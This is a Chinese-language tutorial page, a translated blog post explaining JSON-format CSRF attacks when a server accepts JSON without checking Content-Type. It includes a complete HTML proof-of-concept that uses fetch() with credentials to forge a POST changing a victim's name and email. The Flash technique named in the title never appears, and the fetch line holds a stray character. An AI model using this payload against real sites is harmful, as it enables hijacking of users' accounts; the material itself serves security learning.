欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[翻译]使用Flash进行JSON CSRF攻击

[翻译]使用Flash进行JSON CSRF攻击

Hi 朋友们!

大家都知道CSRF攻击,如果不知道可看下OWASP的介绍,使用burp suite里自带的增强工具(engagement tools)可以很容易地构造各种基本的CSRF攻击POC,包括通过XHR请求进行的CSRF攻击。


在这篇文章里,我将要讨论下我经常碰到的一些CSRF攻击场景,看到社区里很多研究者对这个攻击场景都很好奇,我将尽可能的把它说清楚。 

这个技巧可用在使用JSON格式数据进行post请求的情况下。比如{“name”:”test”, “email”:”victim.com”},有两种攻击场景:

场景1:

    服务器接收JSON格式的数据但是不验证Content-type。

场景2:

    服务器接收JSON格式的数据,也验证Content-type,比如:Content-type得是 application/json。

说明:这种CSRF攻击只能用在网站应用只使用json格式的数据或者Content-type 为application/json,以及检查数据格式的情况下,如果有任何其它的csrf token或者referer检查,那么这种攻击将不会奏效。


攻击场景1

使用Fetch请求就可以完成攻击。就像我们上面说的一样,这种场景下服务器只检查post的数据的格式是否正确,只要数据格式正确应用就会接受请求,即使Content-type被设置为text/plain也无妨。

现在假设我们需要把下面的数据发送给应用:{“name”:”attacker”,”email”:”attacker@gmail.com”}

新方法---使用Fetch:

<html>

<title>JSON CSRF POC</title>

<body>

<center>

<h1> JSON CSRF POC </h1>

<script>

fetch('http://vul-app.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});

</script>

<form action="#">

<input type="button" value="Submit" />

</form>

</center>

</body>

</html>

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功